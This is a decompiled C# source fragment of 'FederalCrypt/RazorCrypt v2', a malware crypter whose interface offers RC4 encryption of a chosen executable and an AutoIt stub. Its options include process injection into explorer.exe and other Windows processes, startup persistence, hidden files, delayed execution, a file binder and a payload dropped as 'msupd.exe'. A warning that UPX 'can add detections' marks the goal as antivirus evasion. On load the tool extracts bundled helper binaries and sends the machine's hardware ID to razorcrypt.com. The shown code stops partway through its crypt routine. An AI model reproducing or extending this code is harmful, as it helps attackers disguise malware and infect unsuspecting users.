  787. this.checkBox12.UseVisualStyleBackColor = true;
  788. //
  789. // groupBox7
  790. //
  791. this.groupBox7.Controls.Add(this.radioButton7);
  792. this.groupBox7.Controls.Add(this.radioButton6);
  793. this.groupBox7.Controls.Add(this.checkBox11);
  794. this.groupBox7.Location = new System.Drawing.Point(6, 130);
  795. this.groupBox7.Name = "groupBox7";
  796. this.groupBox7.Size = new System.Drawing.Size(229, 100);
  797. this.groupBox7.TabIndex = 1;
  798. this.groupBox7.TabStop = false;
  799. this.groupBox7.Text = ".net support";
  800. //
  801. // radioButton7
  802. //
  803. this.radioButton7.AutoSize = true;
  804. this.radioButton7.Location = new System.Drawing.Point(6, 65);
  805. this.radioButton7.Name = "radioButton7";
  806. this.radioButton7.Size = new System.Drawing.Size(61, 17);
  807. this.radioButton7.TabIndex = 2;
  808. this.radioButton7.TabStop = true;
  809. this.radioButton7.Text = ".net 4.0";
  810. this.radioButton7.UseVisualStyleBackColor = true;
  811. //
  812. // radioButton6
  813. //
  814. this.radioButton6.AutoSize = true;
  815. this.radioButton6.Checked = true;
  816. this.radioButton6.Location = new System.Drawing.Point(6, 42);
  817. this.radioButton6.Name = "radioButton6";
  818. this.radioButton6.Size = new System.Drawing.Size(61, 17);
  819. this.radioButton6.TabIndex = 2;
  820. this.radioButton6.TabStop = true;
  821. this.radioButton6.Text = ".net 2.0";
  822. this.radioButton6.UseVisualStyleBackColor = true;
  823. //
  824. // checkBox11
  825. //
  826. this.checkBox11.AutoSize = true;
  827. this.checkBox11.Location = new System.Drawing.Point(6, 19);
  828. this.checkBox11.Name = "checkBox11";
  829. this.checkBox11.Size = new System.Drawing.Size(104, 17);
  830. this.checkBox11.TabIndex = 2;
  831. this.checkBox11.Text = "Use .net support";
  832. this.checkBox11.UseVisualStyleBackColor = true;
  833. //
  834. // groupBox6
  835. //
  836. this.groupBox6.Controls.Add(this.radioButton5);
  837. this.groupBox6.Controls.Add(this.radioButton4);
  838. this.groupBox6.Controls.Add(this.radioButton3);
  839. this.groupBox6.Controls.Add(this.checkBox10);
  840. this.groupBox6.Location = new System.Drawing.Point(6, 6);
  841. this.groupBox6.Name = "groupBox6";
  842. this.groupBox6.Size = new System.Drawing.Size(229, 118);
  843. this.groupBox6.TabIndex = 0;
  844. this.groupBox6.TabStop = false;
  845. this.groupBox6.Text = "Injection";
  846. //
  847. // radioButton5
  848. //
  849. this.radioButton5.AutoSize = true;
  850. this.radioButton5.Location = new System.Drawing.Point(6, 88);
  851. this.radioButton5.Name = "radioButton5";
  852. this.radioButton5.Size = new System.Drawing.Size(84, 17);
  853. this.radioButton5.TabIndex = 1;
  854. this.radioButton5.Text = "notepad.exe";
  855. this.radioButton5.UseVisualStyleBackColor = true;
  856. //
  857. // radioButton4
  858. //
  859. this.radioButton4.AutoSize = true;
  860. this.radioButton4.Location = new System.Drawing.Point(6, 65);
  861. this.radioButton4.Name = "radioButton4";
  862. this.radioButton4.Size = new System.Drawing.Size(82, 17);
  863. this.radioButton4.TabIndex = 1;
  864. this.radioButton4.Text = "taskmgr.exe";
  865. this.radioButton4.UseVisualStyleBackColor = true;
  866. //
  867. // radioButton3
  868. //
  869. this.radioButton3.AutoSize = true;
  870. this.radioButton3.Checked = true;
  871. this.radioButton3.Location = new System.Drawing.Point(6, 42);
  872. this.radioButton3.Name = "radioButton3";
  873. this.radioButton3.Size = new System.Drawing.Size(82, 17);
  874. this.radioButton3.TabIndex = 1;
  875. this.radioButton3.TabStop = true;
  876. this.radioButton3.Text = "explorer.exe";
  877. this.radioButton3.UseVisualStyleBackColor = true;
  878. //
  879. // checkBox10
  880. //
  881. this.checkBox10.AutoSize = true;
  882. this.checkBox10.Location = new System.Drawing.Point(6, 19);
  883. this.checkBox10.Name = "checkBox10";
  884. this.checkBox10.Size = new System.Drawing.Size(87, 17);
  885. this.checkBox10.TabIndex = 1;
  886. this.checkBox10.Text = "Use injection";
  887. this.checkBox10.UseVisualStyleBackColor = true;
  888. //
  889. // tabPage1
  890. //
  891. this.tabPage1.Controls.Add(this.groupBox5);
  892. this.tabPage1.Controls.Add(this.groupBox4);
  893. this.tabPage1.Controls.Add(this.groupBox3);
  894. this.tabPage1.Controls.Add(this.groupBox2);
  895. this.tabPage1.Controls.Add(this.groupBox1);
  896. this.tabPage1.Location = new System.Drawing.Point(4, 24);
  897. this.tabPage1.Name = "tabPage1";
  898. this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
  899. this.tabPage1.Size = new System.Drawing.Size(849, 244);
  900. this.tabPage1.TabIndex = 0;
  901. this.tabPage1.Text = "Main";
  902. this.tabPage1.UseVisualStyleBackColor = true;
  903. //
  904. // groupBox5
  905. //
  906. this.groupBox5.Controls.Add(this.label26);
  907. this.groupBox5.Controls.Add(this.textBox10);
  908. this.groupBox5.Controls.Add(this.label5);
  909. this.groupBox5.Controls.Add(this.checkBox8);
  910. this.groupBox5.Controls.Add(this.checkBox7);
  911. this.groupBox5.Controls.Add(this.checkBox6);
  912. this.groupBox5.Controls.Add(this.label2);
  913. this.groupBox5.Controls.Add(this.textBox5);
  914. this.groupBox5.Controls.Add(this.checkBox5);
  915. this.groupBox5.Controls.Add(this.comboBox2);
  916. this.groupBox5.Controls.Add(this.comboBox1);
  917. this.groupBox5.Controls.Add(this.checkBox4);
  918. this.groupBox5.Controls.Add(this.checkBox3);
  919. this.groupBox5.Controls.Add(this.checkBox2);
  920. this.groupBox5.Controls.Add(this.label1);
  921. this.groupBox5.Controls.Add(this.textBox4);
  922. this.groupBox5.Controls.Add(this.checkBox1);
  923. this.groupBox5.Location = new System.Drawing.Point(413, 6);
  924. this.groupBox5.Name = "groupBox5";
  925. this.groupBox5.Size = new System.Drawing.Size(429, 237);
  926. this.groupBox5.TabIndex = 4;
  927. this.groupBox5.TabStop = false;
  928. this.groupBox5.Text = "Main Options";
  929. //
  930. // label26
  931. //
  932. this.label26.AutoSize = true;
  933. this.label26.Location = new System.Drawing.Point(203, 115);
  934. this.label26.Name = "label26";
  935. this.label26.Size = new System.Drawing.Size(94, 13);
  936. this.label26.TabIndex = 16;
  937. this.label26.Text = "Must contain .exe!";
  938. //
  939. // textBox10
  940. //
  941. this.textBox10.Location = new System.Drawing.Point(76, 112);
  942. this.textBox10.Name = "textBox10";
  943. this.textBox10.Size = new System.Drawing.Size(121, 20);
  944. this.textBox10.TabIndex = 15;
  945. this.textBox10.Text = "sample.exe";
  946. //
  947. // label5
  948. //
  949. this.label5.AutoSize = true;
  950. this.label5.Location = new System.Drawing.Point(6, 115);
  951. this.label5.Name = "label5";
  952. this.label5.Size = new System.Drawing.Size(66, 13);
  953. this.label5.TabIndex = 14;
  954. this.label5.Text = "Install name:";
  955. //
  956. // checkBox8
  957. //
  958. this.checkBox8.AutoSize = true;
  959. this.checkBox8.Location = new System.Drawing.Point(6, 207);
  960. this.checkBox8.Name = "checkBox8";
  961. this.checkBox8.Size = new System.Drawing.Size(103, 17);
  962. this.checkBox8.TabIndex = 13;
  963. this.checkBox8.Text = "Add unique junk";
  964. this.checkBox8.UseVisualStyleBackColor = true;
  965. //
  966. // checkBox7
  967. //
  968. this.checkBox7.AutoSize = true;
  969. this.checkBox7.Location = new System.Drawing.Point(6, 184);
  970. this.checkBox7.Name = "checkBox7";
  971. this.checkBox7.Size = new System.Drawing.Size(81, 17);
  972. this.checkBox7.TabIndex = 12;
  973. this.checkBox7.Text = "Persistence";
  974. this.checkBox7.UseVisualStyleBackColor = true;
  975. //
  976. // checkBox6
  977. //
  978. this.checkBox6.AutoSize = true;
  979. this.checkBox6.Location = new System.Drawing.Point(5, 160);
  980. this.checkBox6.Name = "checkBox6";
  981. this.checkBox6.Size = new System.Drawing.Size(147, 17);
  982. this.checkBox6.TabIndex = 11;
  983. this.checkBox6.Text = "Hide File (System Hidden)";
  984. this.checkBox6.UseVisualStyleBackColor = true;
  985. //
  986. // label2
  987. //
  988. this.label2.AutoSize = true;
  989. this.label2.Location = new System.Drawing.Point(144, 141);
  990. this.label2.Name = "label2";
  991. this.label2.Size = new System.Drawing.Size(53, 13);
  992. this.label2.TabIndex = 10;
  993. this.label2.Text = "secounds";
  994. //
  995. // textBox5
  996. //
  997. this.textBox5.Location = new System.Drawing.Point(109, 135);
  998. this.textBox5.Name = "textBox5";
  999. this.textBox5.Size = new System.Drawing.Size(29, 20);
  1000. this.textBox5.TabIndex = 9;
  1001. this.textBox5.Text = "10";
  1002. //
  1003. // checkBox5
  1004. //
  1005. this.checkBox5.AutoSize = true;
  1006. this.checkBox5.Location = new System.Drawing.Point(5, 137);
  1007. this.checkBox5.Name = "checkBox5";
  1008. this.checkBox5.Size = new System.Drawing.Size(103, 17);
  1009. this.checkBox5.TabIndex = 8;
  1010. this.checkBox5.Text = "Delay Execution";
  1011. this.checkBox5.UseVisualStyleBackColor = true;
  1012. //
  1013. // comboBox2
  1014. //
  1015. this.comboBox2.FormattingEnabled = true;
  1016. this.comboBox2.Items.AddRange(new object[] {
  1017. "Copy File",
  1018. "Move File"});
  1019. this.comboBox2.Location = new System.Drawing.Point(185, 85);
  1020. this.comboBox2.Name = "comboBox2";
  1021. this.comboBox2.Size = new System.Drawing.Size(121, 21);
  1022. this.comboBox2.TabIndex = 7;
  1023. this.comboBox2.Text = "Choose please...";
  1024. //
  1025. // comboBox1
  1026. //
  1027. this.comboBox1.FormattingEnabled = true;
  1028. this.comboBox1.Items.AddRange(new object[] {
  1029. "AppData",
  1030. "Temp"});
  1031. this.comboBox1.Location = new System.Drawing.Point(58, 86);
  1032. this.comboBox1.Name = "comboBox1";
  1033. this.comboBox1.Size = new System.Drawing.Size(121, 21);
  1034. this.comboBox1.TabIndex = 6;
  1035. this.comboBox1.Text = "Choose please...";
  1036. //
  1037. // checkBox4
  1038. //
  1039. this.checkBox4.AutoSize = true;
  1040. this.checkBox4.Location = new System.Drawing.Point(6, 88);
  1041. this.checkBox4.Name = "checkBox4";
  1042. this.checkBox4.Size = new System.Drawing.Size(53, 17);
  1043. this.checkBox4.TabIndex = 5;
  1044. this.checkBox4.Text = "Install";
  1045. this.checkBox4.UseVisualStyleBackColor = true;
  1046. //
  1047. // checkBox3
  1048. //
  1049. this.checkBox3.AutoSize = true;
  1050. this.checkBox3.Location = new System.Drawing.Point(6, 65);
  1051. this.checkBox3.Name = "checkBox3";
  1052. this.checkBox3.Size = new System.Drawing.Size(87, 17);
  1053. this.checkBox3.TabIndex = 4;
  1054. this.checkBox3.Text = "EOF Support";
  1055. this.checkBox3.UseVisualStyleBackColor = true;
  1056. //
  1057. // checkBox2
  1058. //
  1059. this.checkBox2.AutoSize = true;
  1060. this.checkBox2.Location = new System.Drawing.Point(6, 42);
  1061. this.checkBox2.Name = "checkBox2";
  1062. this.checkBox2.Size = new System.Drawing.Size(192, 17);
  1063. this.checkBox2.TabIndex = 3;
  1064. this.checkBox2.Text = "Use UPX - this can add detections!";
  1065. this.checkBox2.UseVisualStyleBackColor = true;
  1066. //
  1067. // label1
  1068. //
  1069. this.label1.AutoSize = true;
  1070. this.label1.Location = new System.Drawing.Point(106, 21);
  1071. this.label1.Name = "label1";
  1072. this.label1.Size = new System.Drawing.Size(73, 13);
  1073. this.label1.TabIndex = 2;
  1074. this.label1.Text = "Startup name:";
  1075. //
  1076. // textBox4
  1077. //
  1078. this.textBox4.Location = new System.Drawing.Point(185, 19);
  1079. this.textBox4.Name = "textBox4";
  1080. this.textBox4.Size = new System.Drawing.Size(100, 20);
  1081. this.textBox4.TabIndex = 1;
  1082. //
  1083. // checkBox1
  1084. //
  1085. this.checkBox1.AutoSize = true;
  1086. this.checkBox1.Location = new System.Drawing.Point(6, 19);
  1087. this.checkBox1.Name = "checkBox1";
  1088. this.checkBox1.Size = new System.Drawing.Size(94, 17);
  1089. this.checkBox1.TabIndex = 0;
  1090. this.checkBox1.Text = "Add to Startup";
  1091. this.checkBox1.UseVisualStyleBackColor = true;
  1092. //
  1093. // groupBox4
  1094. //
  1095. this.groupBox4.Controls.Add(this.radioButton2);
  1096. this.groupBox4.Controls.Add(this.radioButton1);
  1097. this.groupBox4.Location = new System.Drawing.Point(9, 174);
  1098. this.groupBox4.Name = "groupBox4";
  1099. this.groupBox4.Size = new System.Drawing.Size(398, 66);
  1100. this.groupBox4.TabIndex = 3;
  1101. this.groupBox4.TabStop = false;
  1102. this.groupBox4.Text = "Stub";
  1103. //
  1104. // radioButton2
  1105. //
  1106. this.radioButton2.AutoSize = true;
  1107. this.radioButton2.Enabled = false;
  1108. this.radioButton2.Location = new System.Drawing.Point(6, 42);
  1109. this.radioButton2.Name = "radioButton2";
  1110. this.radioButton2.Size = new System.Drawing.Size(39, 17);
  1111. this.radioButton2.TabIndex = 1;
  1112. this.radioButton2.Text = "C#";
  1113. this.radioButton2.UseVisualStyleBackColor = true;
  1114. //
  1115. // radioButton1
  1116. //
  1117. this.radioButton1.AutoSize = true;
  1118. this.radioButton1.Checked = true;
  1119. this.radioButton1.Location = new System.Drawing.Point(6, 19);
  1120. this.radioButton1.Name = "radioButton1";
  1121. this.radioButton1.Size = new System.Drawing.Size(57, 17);
  1122. this.radioButton1.TabIndex = 0;
  1123. this.radioButton1.TabStop = true;
  1124. this.radioButton1.Text = "AutoIT";
  1125. this.radioButton1.UseVisualStyleBackColor = true;
  1126. //
  1127. // groupBox3
  1128. //
  1129. this.groupBox3.Controls.Add(this.button3);
  1130. this.groupBox3.Controls.Add(this.textBox3);
  1131. this.groupBox3.Location = new System.Drawing.Point(3, 118);
  1132. this.groupBox3.Name = "groupBox3";
  1133. this.groupBox3.Size = new System.Drawing.Size(404, 50);
  1134. this.groupBox3.TabIndex = 2;
  1135. this.groupBox3.TabStop = false;
  1136. this.groupBox3.Text = "Encryption Key";
  1137. //
  1138. // button3
  1139. //
  1140. this.button3.Location = new System.Drawing.Point(347, 17);
  1141. this.button3.Name = "button3";
  1142. this.button3.Size = new System.Drawing.Size(51, 23);
  1143. this.button3.TabIndex = 1;
  1144. this.button3.Text = "GEN";
  1145. this.button3.UseVisualStyleBackColor = true;
  1146. this.button3.Click += new System.EventHandler(this.button3gcgrlick);
  1147. //
  1148. // textBox3
  1149. //
  1150. this.textBox3.Location = new System.Drawing.Point(6, 19);
  1151. this.textBox3.Name = "textBox3";
  1152. this.textBox3.Size = new System.Drawing.Size(335, 20);
  1153. this.textBox3.TabIndex = 0;
  1154. //
  1155. // groupBox2
  1156. //
  1157. this.groupBox2.Controls.Add(this.button2);
  1158. this.groupBox2.Controls.Add(this.textBox2);
  1159. this.groupBox2.Location = new System.Drawing.Point(3, 62);
  1160. this.groupBox2.Name = "groupBox2";
  1161. this.groupBox2.Size = new System.Drawing.Size(404, 50);
  1162. this.groupBox2.TabIndex = 1;
  1163. this.groupBox2.TabStop = false;
  1164. this.groupBox2.Text = "Icon";
  1165. //
  1166. // button2
  1167. //
  1168. this.button2.Location = new System.Drawing.Point(347, 17);
  1169. this.button2.Name = "button2";
  1170. this.button2.Size = new System.Drawing.Size(51, 23);
  1171. this.button2.TabIndex = 1;
  1172. this.button2.Text = "[...]";
  1173. this.button2.UseVisualStyleBackColor = true;
  1174. this.button2.Click += new System.EventHandler(this.button2gcgrlick);
  1175. //
  1176. // textBox2
  1177. //
  1178. this.textBox2.Location = new System.Drawing.Point(6, 19);
  1179. this.textBox2.Name = "textBox2";
  1180. this.textBox2.Size = new System.Drawing.Size(335, 20);
  1181. this.textBox2.TabIndex = 0;
  1182. //
  1183. // groupBox1
  1184. //
  1185. this.groupBox1.Controls.Add(this.button1);
  1186. this.groupBox1.Controls.Add(this.textBox1);
  1187. this.groupBox1.Location = new System.Drawing.Point(3, 6);
  1188. this.groupBox1.Name = "groupBox1";
  1189. this.groupBox1.Size = new System.Drawing.Size(404, 50);
  1190. this.groupBox1.TabIndex = 0;
  1191. this.groupBox1.TabStop = false;
  1192. this.groupBox1.Text = "File";
  1193. //
  1194. // button1
  1195. //
  1196. this.button1.Location = new System.Drawing.Point(347, 17);
  1197. this.button1.Name = "button1";
  1198. this.button1.Size = new System.Drawing.Size(51, 23);
  1199. this.button1.TabIndex = 1;
  1200. this.button1.Text = "[...]";
  1201. this.button1.UseVisualStyleBackColor = true;
  1202. this.button1.Click += new System.EventHandler(this.button1gcgrlick);
  1203. //
  1204. // textBox1
  1205. //
  1206. this.textBox1.Location = new System.Drawing.Point(6, 19);
  1207. this.textBox1.Name = "textBox1";
  1208. this.textBox1.Size = new System.Drawing.Size(335, 20);
  1209. this.textBox1.TabIndex = 0;
  1210. //
  1211. // tabControl1
  1212. //
  1213. this.tabControl1.Controls.Add(this.tabPage1);
  1214. this.tabControl1.Controls.Add(this.tabPage2);
  1215. this.tabControl1.Controls.Add(this.tabPage3);
  1216. this.tabControl1.Controls.Add(this.tabPage4);
  1217. this.tabControl1.Controls.Add(this.tabPage5);
  1218. this.tabControl1.Location = new System.Drawing.Point(2, 1);
  1219. this.tabControl1.Name = "tabControl1";
  1220. this.tabControl1.SelectedIndex = 0;
  1221. this.tabControl1.Size = new System.Drawing.Size(857, 272);
  1222. this.tabControl1.TabIndex = 0;
  1223. //
  1224. // Form1
  1225. //
  1226. this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
  1227. this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
  1228. this.AutoSize = true;
  1229. this.BackColor = System.Drawing.Color.Red;
  1230. this.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None;
  1231. this.ClientSize = new System.Drawing.Size(860, 305);
  1232. this.Controls.Add(this.pictureBox1);
  1233. this.Controls.Add(this.checkBox9);
  1234. this.Controls.Add(this.button4);
  1235. this.Controls.Add(this.label4);
  1236. this.Controls.Add(this.label3);
  1237. this.Controls.Add(this.progressBar1);
  1238. this.Controls.Add(this.tabControl1);
  1239. this.MaximizeBox = false;
  1240. this.MaximumSize = new System.Drawing.Size(876, 344);
  1241. this.Name = "Form1";
  1242. this.Text = "FederalCrypt V2.0";
  1243. this.Load += new System.EventHandler(this.Form1_Load);
  1244. ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
  1245. this.tabPage5.ResumeLayout(false);
  1246. this.tabPage4.ResumeLayout(false);
  1247. this.groupBox13.ResumeLayout(false);
  1248. this.groupBox13.PerformLayout();
  1249. this.tabPage3.ResumeLayout(false);
  1250. this.groupBox12.ResumeLayout(false);
  1251. this.groupBox12.PerformLayout();
  1252. this.groupBox11.ResumeLayout(false);
  1253. this.groupBox11.PerformLayout();
  1254. this.groupBox10.ResumeLayout(false);
  1255. this.groupBox10.PerformLayout();
  1256. this.tabPage2.ResumeLayout(false);
  1257. this.groupBox9.ResumeLayout(false);
  1258. this.groupBox9.PerformLayout();
  1259. this.groupBox8.ResumeLayout(false);
  1260. this.groupBox8.PerformLayout();
  1261. this.groupBox7.ResumeLayout(false);
  1262. this.groupBox7.PerformLayout();
  1263. this.groupBox6.ResumeLayout(false);
  1264. this.groupBox6.PerformLayout();
  1265. this.tabPage1.ResumeLayout(false);
  1266. this.groupBox5.ResumeLayout(false);
  1267. this.groupBox5.PerformLayout();
  1268. this.groupBox4.ResumeLayout(false);
  1269. this.groupBox4.PerformLayout();
  1270. this.groupBox3.ResumeLayout(false);
  1271. this.groupBox3.PerformLayout();
  1272. this.groupBox2.ResumeLayout(false);
  1273. this.groupBox2.PerformLayout();
  1274. this.groupBox1.ResumeLayout(false);
  1275. this.groupBox1.PerformLayout();
  1276. this.tabControl1.ResumeLayout(false);
  1277. this.ResumeLayout(false);
  1278. this.PerformLayout();
  1279.  
  1280. }
  1281.  
  1282. private void Form1_Load(object sender, EventArgs e)
  1283. {
  1284. this.label12.Text = Program.GlobalData.version;
  1285. this.webBrowser1.Navigate("http://razorscanner.com/razor.php?hwid=" + Program.GlobalData.ghwid);
  1286. this.textBox3.Text = this.RandomString(50);
  1287. this.Text = Form1.gekjnfweiuwar(82) + Program.GlobalData.id;
  1288. string path = Path.GetTempPath() + Form1.gekjnfweiuwar(83);
  1289. Directory.CreateDirectory(path);
  1290. if (System.IO.File.Exists(path + "Aut2Exe.exe"))
  1291. System.IO.File.Delete(path + "Aut2Exe.exe");
  1292. this.ExtractResource("RazorCrypt_v2.Resources.Aut2Exe.exe", path + "Aut2Exe.exe");
  1293. if (System.IO.File.Exists(path + "usg.exe"))
  1294. System.IO.File.Delete(path + "usg.exe");
  1295. this.ExtractResource("RazorCrypt_v2.Resources.usg.exe", path + "usg.exe");
  1296. if (System.IO.File.Exists(path + "1sx.au3"))
  1297. System.IO.File.Delete(path + "1sx.au3");
  1298. this.ExtractResource("RazorCrypt_v2.Resources.1sx.au3", path + "1sx.au3");
  1299. if (System.IO.File.Exists(path + "junk.au3"))
  1300. System.IO.File.Delete(path + "junk.au3");
  1301. this.ExtractResource("RazorCrypt_v2.Resources.junk.au3", path + "junk.au3");
  1302. if (System.IO.File.Exists(path + "AutoItSC.bin"))
  1303. System.IO.File.Delete(path + "AutoItSC.bin");
  1304. this.ExtractResource("RazorCrypt_v2.Resources.AutoItSC.bin", path + "AutoItSC.bin");
  1305. if (System.IO.File.Exists(path + "rc4.exe"))
  1306. System.IO.File.Delete(path + "rc4.exe");
  1307. this.ExtractResource("RazorCrypt_v2.Resources.rc4.exe", path + "rc4.exe");
  1308. if (System.IO.File.Exists(path + "upx.exe"))
  1309. System.IO.File.Delete(path + "upx.exe");
  1310. this.ExtractResource("RazorCrypt_v2.Resources.upx.exe", path + "upx.exe");
  1311. if (System.IO.File.Exists(path + "net2.exe"))
  1312. System.IO.File.Delete(path + "net2.exe");
  1313. this.ExtractResource("RazorCrypt_v2.Resources.net2.exe", path + "net2.exe");
  1314. if (System.IO.File.Exists(path + "net4.exe"))
  1315. System.IO.File.Delete(path + "net4.exe");
  1316. this.ExtractResource("RazorCrypt_v2.Resources.net4.exe", path + "net4.exe");
  1317. if (System.IO.File.Exists(path + "SkypeIcon.ico"))
  1318. System.IO.File.Delete(path + "SkypeIcon.ico");
  1319. this.ExtractResource("RazorCrypt_v2.Resources.SkypeIcon.ico", path + "SkypeIcon.ico");
  1320. }
  1321.  
  1322. private void ExtractResource(string resource, string path)
  1323. {
  1324. Stream manifestResourceStream = this.GetType().Assembly.GetManifestResourceStream(resource);
  1325. byte[] numArray = new byte[(int) manifestResourceStream.Length];
  1326. manifestResourceStream.Read(numArray, 0, numArray.Length);
  1327. System.IO.File.WriteAllBytes(path, numArray);
  1328. }
  1329.  
  1330. public static string gekjnfweiuwar(int varid)
  1331. {
  1332. return Form1.code("http://razorcrypt.com/hs/getvar.php?hwid=" + Program.GlobalData.ghwid + "&id=" + (object) varid);
  1333. }
  1334.  
  1335. public void PoolAndDownloadFile(Uri uri, string filePath)
  1336. {
  1337. WebClient webClient = new WebClient();
  1338. byte[] buffer;
  1339. for (buffer = webClient.DownloadData(uri); buffer.Length == 0; buffer = webClient.DownloadData(uri))
  1340. Thread.Sleep(2000);
  1341. Stream stream = (Stream) System.IO.File.Open(filePath, FileMode.Create);
  1342. stream.Write(buffer, 0, buffer.Length);
  1343. stream.Close();
  1344. }
  1345.  
  1346. public static string code(string Url)
  1347. {
  1348. HttpWebRequest httpWebRequest = (HttpWebRequest) WebRequest.Create(Url);
  1349. httpWebRequest.Proxy = (IWebProxy) new WebProxy();
  1350. httpWebRequest.Method = "GET";
  1351. httpWebRequest.UserAgent = "RazorCrypterUAG34613252";
  1352. WebResponse response = httpWebRequest.GetResponse();
  1353. StreamReader streamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
  1354. string end = streamReader.ReadToEnd();
  1355. streamReader.Close();
  1356. response.Close();
  1357. return end;
  1358. }
  1359.  
  1360. private void webBrowser1_DocumentCompleted(object sender, WebBrowserDocumentCompletedEventArgs e)
  1361. {
  1362. string originalString = this.webBrowser1.Url.OriginalString;
  1363. if (!originalString.Contains("result.php"))
  1364. return;
  1365. Process.Start(originalString);
  1366. this.webBrowser1.Navigate("http://razorscanner.com/razor.php?hwid=" + Program.GlobalData.ghwid);
  1367. }
  1368.  
  1369. private void button1gcgrlick(object sender, EventArgs e)
  1370. {
  1371. int num = (int) this.openFileDialog1.ShowDialog();
  1372. this.textBox1.Text = this.openFileDialog1.FileName;
  1373. }
  1374.  
  1375. private void button2gcgrlick(object sender, EventArgs e)
  1376. {
  1377. int num = (int) this.openFileDialog2.ShowDialog();
  1378. this.textBox2.Text = this.openFileDialog2.FileName;
  1379. }
  1380.  
  1381. private void button6gcgrlick(object sender, EventArgs e)
  1382. {
  1383. int num = (int) this.openFileDialog3.ShowDialog();
  1384. this.textBox7.Text = this.openFileDialog3.FileName;
  1385. }
  1386.  
  1387. private void button5gcgrlick(object sender, EventArgs e)
  1388. {
  1389. int num = (int) MessageBox.Show(this.richTextBox1.Text, this.textBox6.Text);
  1390. }
  1391.  
  1392. private void button3gcgrlick(object sender, EventArgs e)
  1393. {
  1394. this.textBox3.Text = this.RandomString(50);
  1395. }
  1396.  
  1397. private string RandomString(int size)
  1398. {
  1399. StringBuilder stringBuilder = new StringBuilder();
  1400. for (int index = 0; index < size; ++index)
  1401. {
  1402. char @char = Convert.ToChar(Convert.ToInt32(Math.Floor(26.0 * Form1.random.NextDouble() + 65.0)));
  1403. stringBuilder.Append(@char);
  1404. }
  1405. return stringBuilder.ToString();
  1406. }
  1407.  
  1408. private void button4gcgrlick(object sender, EventArgs e)
  1409. {
  1410. new List<Thread>()
  1411. {
  1412. new Thread(new ThreadStart(this.crypt))
  1413. }[0].Start();
  1414. }
  1415.  
  1416. public static void SetControlPropertyThreadSafe(Control control, string propertyName, object propertyValue)
  1417. {
  1418. if (control.InvokeRequired)
  1419. control.Invoke((Delegate) new Form1.SetControlPropertyThreadSafeDelegate(Form1.SetControlPropertyThreadSafe), (object) control, (object) propertyName, propertyValue);
  1420. else
  1421. control.GetType().InvokeMember(propertyName, BindingFlags.SetProperty, (Binder) null, (object) control, new object[1]{ propertyValue });
  1422. }
  1423.  
  1424. private void crypt()
  1425. {
  1426. if (!this.checkBox9.Checked)
  1427. {
  1428. int num1 = (int) MessageBox.Show("Please accept our ToS first!", "RazorCrypt v2");
  1429. }
  1430. else
  1431. {
  1432. Form1.SetControlPropertyThreadSafe((Control) this.label4, "Text", (object) "starting");
  1433. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 10);
  1434. if (this.textBox1.Text == "")
  1435. {
  1436. int num2 = (int) MessageBox.Show("Error! Choose a file first please!");
  1437. }
  1438. else
  1439. {
  1440. Form1.SetControlPropertyThreadSafe((Control) this.label4, "Text", (object) "crypting");
  1441. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 20);
  1442. string str1 = Path.GetTempPath() + "RazorCryptv2\\";
  1443. string text1 = this.textBox1.Text;
  1444. string text2 = this.textBox3.Text;
  1445. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 30);
  1446. Process process1 = new Process();
  1447. process1.StartInfo.FileName = str1 + "rc4.exe";
  1448. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 40);
  1449. process1.StartInfo.Arguments = "\"" + text1 + "\" " + text2;
  1450. process1.StartInfo.WorkingDirectory = str1;
  1451. process1.Start();
  1452. process1.WaitForExit();
  1453. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 50);
  1454. string str2 = this.textBox10.Text == "sample.exe" || this.textBox10.Text == "" ? "$rhoefhweewggr44snm2 = @ScriptName" : "$rhoefhweewggr44snm2 = '" + this.textBox10.Text + "'";
  1455. string str3 = !(this.textBox4.Text == "") ? "$rhoefhweewggr44snm1 = '" + this.textBox4.Text + "'" : "$rhoefhweewggr44snm1 = @ScriptName";
  1456. string str4 = ";" + Program.GlobalData.ghwid;
  1457. string str5 = !this.checkBox6.Checked ? "$rbeew2 = '0'" : "$rbeew2 = '1'";
  1458. string str6 = !this.checkBox5.Checked ? "$rbeew5 = 0" : "$rbeew5 = " + this.textBox5.Text;
  1459. string str7 = "$rbeew1 = '0'";
  1460. if (this.checkBox4.Checked)
  1461. {
  1462. if (this.comboBox2.Text == "Copy File")
  1463. {
  1464. if (this.comboBox1.Text == "AppData")
  1465. str7 = "$rbeew1 = '3'";
  1466. if (this.comboBox1.Text == "Temp")
  1467. str7 = "$rbeew1 = '4'";
  1468. }
  1469. if (this.comboBox2.Text == "Move File")
  1470. {
  1471. if (this.comboBox1.Text == "AppData")
  1472. str7 = "$rbeew1 = '1'";
  1473. if (this.comboBox1.Text == "Temp")
  1474. str7 = "$rbeew1 = '2'";
  1475. }
  1476. }
  1477. else
  1478. str7 = "$rbeew1 = '0'";
  1479. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 55);
  1480. string str8 = !this.checkBox11.Checked ? "" : (!this.radioButton6.Checked ? "FileInstall('net4.exe', @TempDir & '\\msupd.exe')" : "FileInstall('net2.exe', @TempDir & '\\msupd.exe')");
  1481. string str9 = !this.checkBox13.Checked ? "$rbeew3 = '0'" : "$rbeew3 = '1'";
  1482. string str10 = !this.checkBox15.Checked ? "$rbeew7 = '0'" : "$rbeew7 = '1'";
  1483. string str11 = !this.checkBox14.Checked ? "$rbeew6 = '0'" : "$rbeew6 = '1'";
  1484. string str12 = !this.checkBox1.Checked ? "$rbeew4 = '0'" : "$rbeew4 = '1'";
  1485. Form1.SetControlPropertyThreadSafe((Control) this.progressBar1, "Value", (object) 60);
  1486. string str13;
  1487. string str14;
  1488. if (this.checkBox16.Checked)
  1489. {
  1490. string extension = Path.GetExtension(this.openFileDialog3.FileName);
  1491. if (System.IO.File.Exists(str1 + "bind" + extension))
  1492. System.IO.File.Delete(str1 + "bind" + extension);
